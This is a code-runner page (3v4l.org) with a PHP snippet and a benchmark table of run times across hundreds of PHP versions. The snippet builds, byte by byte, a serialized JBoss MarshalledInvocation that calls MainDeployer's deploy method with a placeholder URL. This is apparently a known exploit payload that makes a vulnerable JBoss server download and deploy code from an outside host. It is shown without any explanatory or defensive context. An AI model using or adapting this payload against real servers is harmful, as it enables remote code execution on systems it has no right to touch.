3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://lololololo.lo.lo/l/o.lol"; $url_len=pack("n",strlen($url)); printf("url_len:%s\n\n",pack("n",strlen($url))); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf("frag_iii_v:%s\n\nfrag_iii_n:%s\n\ndata:%s\n\n",pack("v", strlen($frag_iii)+8), pack("n",strlen($frag_iii)));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.00718.62
8.3.30.0140.00020.32
8.3.20.0070.00720.20
8.3.10.0050.00321.82
8.3.00.0050.00222.44
8.2.170.0150.00622.96
8.2.160.0090.00622.26
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0030.00626.16
8.2.120.0040.00420.77
8.2.110.0090.00022.20
8.2.100.0110.00018.03
8.2.90.0040.00419.21
8.2.80.0040.00417.97
8.2.70.0050.00317.63
8.2.60.0060.00317.93
8.2.50.0040.00418.07
8.2.40.0040.00418.21
8.2.30.0050.00319.40
8.2.20.0000.00817.74
8.2.10.0080.00017.93
8.2.00.0070.00317.73
8.1.270.0040.00423.99
8.1.260.0080.00026.35
8.1.250.0060.00328.09
8.1.240.0040.00422.19
8.1.230.0040.00817.42
8.1.220.0040.00417.74
8.1.210.0080.00018.77
8.1.200.0030.00617.38
8.1.190.0050.00317.52
8.1.180.0040.00418.10
8.1.170.0000.00918.66
8.1.160.0050.00218.95
8.1.150.0070.00018.69
8.1.140.0070.00017.38
8.1.130.0030.00317.74
8.1.120.0070.00017.36
8.1.110.0040.00417.45
8.1.100.0040.00417.44
8.1.90.0000.00717.55
8.1.80.0060.00317.37
8.1.70.0070.00017.41
8.1.60.0050.00317.56
8.1.50.0000.00817.49
8.1.40.0060.00617.45
8.1.30.0040.00417.65
8.1.20.0000.00817.50
8.1.10.0040.00417.43
8.1.00.0040.00417.46
8.0.300.0000.00818.77
8.0.290.0040.00416.75
8.0.280.0030.00318.47
8.0.270.0000.00717.27
8.0.260.0070.00016.84
8.0.250.0070.00017.02
8.0.240.0030.00617.01
8.0.230.0000.00716.94
8.0.220.0000.00716.96
8.0.210.0030.00316.93
8.0.200.0050.00317.01
8.0.190.0030.00317.05
8.0.180.0070.00017.01
8.0.170.0050.00317.00
8.0.160.0050.00316.93
8.0.150.0040.00416.93
8.0.140.0050.00316.93
8.0.130.0030.00313.44
8.0.120.0040.00416.91
8.0.110.0000.00717.00
8.0.100.0000.00716.87
8.0.90.0040.00416.80
8.0.80.0070.00716.98
8.0.70.0000.00816.86
8.0.60.0040.00416.99
8.0.50.0000.00716.77
8.0.30.0120.00617.16
8.0.20.0120.00617.40
8.0.10.0030.00517.14
8.0.00.0150.00816.76
7.4.330.0000.00616.70
7.4.320.0000.00716.61
7.4.300.0000.00616.51
7.4.290.0030.00316.54
7.4.280.0070.00016.57
7.4.270.0050.00316.64
7.4.260.0000.00813.22
7.4.250.0000.00716.51
7.4.240.0030.00416.49
7.4.230.0000.00816.67
7.4.220.0070.01716.52
7.4.210.0090.00716.50
7.4.200.0070.00016.66
7.4.190.0040.00416.64
7.4.160.0060.01116.46
7.4.150.0110.00617.40
7.4.140.0050.01117.86
7.4.130.0100.01016.47
7.4.120.0090.01016.43
7.4.110.0030.01316.46
7.4.100.0130.01016.64
7.4.90.0030.01416.60
7.4.80.0120.00619.39
7.4.70.0060.01216.39
7.4.60.0100.00616.29
7.4.50.0030.00616.53
7.4.40.0040.01222.77
7.4.30.0130.00316.59
7.4.00.0060.00915.19
7.3.330.0050.00013.30
7.3.320.0000.00713.24
7.3.310.0000.00716.45
7.3.300.0030.00316.39
7.3.290.0060.00716.45
7.3.280.0090.00816.38
7.3.270.0130.00517.40
7.3.260.0100.01016.32
7.3.250.0110.00716.31
7.3.240.0030.01416.43
7.3.230.0130.00316.44
7.3.210.0060.00916.34
7.3.200.0120.01219.39
7.3.190.0090.01216.50
7.3.180.0060.01216.55
7.3.170.0110.00616.29
7.3.160.0120.00816.27
7.3.120.0120.00314.93
7.3.10.0080.00816.87
7.3.00.0040.01116.73
7.2.330.0100.01316.87
7.2.320.0040.01416.80
7.2.310.0030.01416.72
7.2.300.0110.01116.58
7.2.290.0130.00316.78
7.2.130.0110.00417.11
7.2.120.0030.00916.94
7.2.110.0030.01016.83
7.2.100.0060.00916.92
7.2.90.0030.01017.00
7.2.80.0090.00617.04
7.2.70.0030.01416.75
7.2.60.0070.00916.97
7.2.50.0110.00017.04
7.2.40.0090.00616.78
7.2.30.0030.00616.76
7.2.20.0080.00816.98
7.2.10.0070.01017.03
7.2.00.0050.01018.16
7.1.250.0060.00615.71
7.1.200.0040.01115.85
7.1.100.0040.00418.09
7.1.70.0110.00717.19
7.1.60.0070.01719.17
7.1.50.0130.00334.80
7.1.00.0030.06022.33
7.0.200.0040.00416.73
7.0.140.0000.07722.00
7.0.110.0070.07321.76
7.0.100.0030.05321.88
7.0.90.0100.08321.64
7.0.80.0070.08021.73
7.0.70.0170.06721.74
7.0.60.0030.08321.83
7.0.50.0100.06722.05
7.0.40.0000.05319.96
7.0.30.0130.07020.05
7.0.20.0100.06720.18
7.0.10.0030.08720.27
7.0.00.0030.08020.14
5.6.280.0000.07721.05
5.6.260.0030.07320.62
5.6.250.0070.08020.67
5.6.240.0000.08720.70
5.6.230.0230.06320.70
5.6.220.0130.04320.85
5.6.210.0030.08020.73
5.6.200.0100.08320.96
5.6.190.0000.04721.09
5.6.180.0000.08021.23
5.6.170.0200.07021.10
5.6.160.0070.08721.13
5.6.150.0070.06321.06
5.6.140.0100.05721.10
5.6.130.0130.06721.13
5.6.120.0000.06021.00
5.6.110.0130.08020.91
5.6.100.0170.07321.19
5.6.90.0000.08021.18
5.6.80.0130.07320.34
5.6.70.0100.07720.46
5.6.60.0130.07720.52
5.6.50.0030.08020.66
5.6.40.0070.04720.45
5.6.30.0230.06020.46
5.6.20.0000.04320.42
5.6.10.0030.04020.55
5.6.00.0000.04320.29
5.5.380.0100.07720.30
5.5.370.0070.08720.56
5.5.360.0030.08320.36
5.5.350.0000.09020.52
5.5.340.0170.06320.83
5.5.330.0000.07320.92
5.5.320.0070.06320.83
5.5.310.0030.08020.84
5.5.300.0070.07320.96
5.5.290.0070.08320.96
5.5.280.0070.07720.92
5.5.270.0100.07320.75
5.5.260.0130.07720.87
5.5.250.0070.06320.71
5.5.240.0100.06320.21
5.5.230.0100.03720.26
5.5.220.0100.04720.27
5.5.210.0030.07320.36
5.5.200.0100.06020.36
5.5.190.0070.07020.17
5.5.180.0130.05320.27
5.5.160.0030.05320.25
5.5.150.0030.04020.17
5.5.140.0000.04020.17
5.5.130.0130.03020.33
5.5.120.0070.04320.30
5.5.110.0030.04320.20
5.5.100.0000.04020.14
5.5.90.0070.04720.22
5.5.80.0030.03720.05
5.5.70.0070.05020.02
5.5.60.0070.07020.07
5.5.50.0030.06020.05
5.5.40.0100.03320.00
5.5.30.0130.06319.97
5.5.20.0000.04019.97
5.5.10.0030.04020.05
5.5.00.0030.04020.22
5.4.450.0030.05319.45
5.4.440.0000.08719.44
5.4.430.0030.08319.35
5.4.420.0030.04719.59
5.4.410.0100.07319.36
5.4.400.0030.08018.98
5.4.390.0100.04019.09
5.4.380.0100.07019.10
5.4.370.0130.06719.01
5.4.360.0070.07019.13
5.4.350.0030.07719.12
5.4.340.0000.06719.12
5.4.320.0000.04019.11
5.4.310.0000.04719.01
5.4.300.0070.03719.01
5.4.290.0000.04318.95
5.4.280.0000.03719.00
5.4.270.0030.04318.98
5.4.260.0000.04019.02
5.4.250.0000.04019.11
5.4.240.0100.03318.94
5.4.230.0030.04719.15
5.4.220.0030.03719.25
5.4.210.0030.07019.11
5.4.200.0000.05719.04
5.4.190.0100.03019.02
5.4.180.0030.03719.24
5.4.170.0070.03018.99
5.4.160.0030.03718.93
5.4.150.0000.04019.01
5.4.140.0030.03716.15
5.4.130.0030.03316.38
5.4.120.0000.04016.17
5.4.110.0000.03716.48
5.4.100.0030.03316.50
5.4.90.0030.03316.15
5.4.80.0070.05316.31
5.4.70.0070.03316.29
5.4.60.0070.03016.46
5.4.50.0030.03316.34
5.4.40.0000.03716.40
5.4.30.0000.04316.49
5.4.20.0000.04316.47
5.4.10.0000.03716.37
5.4.00.0000.06715.92
5.3.290.0000.04014.63
5.3.280.0000.04014.50
5.3.270.0000.04014.65
5.3.260.0030.03714.57
5.3.250.0030.03714.70
5.3.240.0000.03714.50
5.3.230.0030.03714.72
5.3.220.0000.06014.62
5.3.210.0070.03714.53
5.3.200.0070.03314.68
5.3.190.0030.03314.60
5.3.180.0100.02714.44
5.3.170.0030.04314.44
5.3.160.0000.04014.52
5.3.150.0100.06314.64
5.3.140.0030.03714.40
5.3.130.0030.04314.66
5.3.120.0030.03714.64
5.3.110.0000.04014.66
5.3.100.0070.03313.88
5.3.90.0000.04713.96
5.3.80.0000.04013.97
5.3.70.0030.03313.82
5.3.60.0030.03714.04
5.3.50.0030.04313.98
5.3.40.0130.06713.86
5.3.30.0000.06713.77
5.3.20.0130.06713.59
5.3.10.0070.07013.69
5.3.00.0030.07313.60
5.2.170.0030.04311.24
5.2.160.0000.06011.23
5.2.150.0030.06011.23
5.2.140.0030.06011.24
5.2.130.0000.03011.23
5.2.120.0000.06311.23
5.2.110.0100.05711.23
5.2.100.0000.06711.23
5.2.90.0100.05311.23
5.2.80.0030.03711.23
5.2.70.0070.03011.23
5.2.60.0070.06011.23
5.2.50.0070.02711.23
5.2.40.0070.05711.23
5.2.30.0030.06311.23
5.2.20.0030.05311.23
5.2.10.0070.03311.23
5.2.00.0000.06011.23
5.1.60.0100.04711.23
5.1.50.0100.05011.23
5.1.40.0000.04011.23
5.1.30.0100.04311.23
5.1.20.0100.05011.23
5.1.10.0100.04711.23
5.1.00.0070.05011.23
5.0.50.0030.04711.23
5.0.40.0000.04711.23
5.0.30.0000.06711.23
5.0.20.0000.02711.23
5.0.10.0000.04311.23
5.0.00.0000.05011.23
4.4.90.0000.03311.23
4.4.80.0000.02011.23
4.4.70.0030.02711.23
4.4.60.0070.02711.23
4.4.50.0070.03011.23
4.4.40.0000.04311.23
4.4.30.0000.03311.23
4.4.20.0000.03711.23
4.4.10.0030.03711.23
4.4.00.0030.05011.23
4.3.110.0000.04011.23
4.3.100.0070.03711.23
4.3.90.0030.02311.23
4.3.80.0000.05311.23
4.3.70.0030.03011.23
4.3.60.0000.03311.23
4.3.50.0000.03011.23
4.3.40.0030.05011.23
4.3.30.0100.02711.23
4.3.20.0030.03311.23
4.3.10.0000.02711.23
4.3.00.0000.03711.23

preferences:
36.31 ms | 400 KiB | 5 Q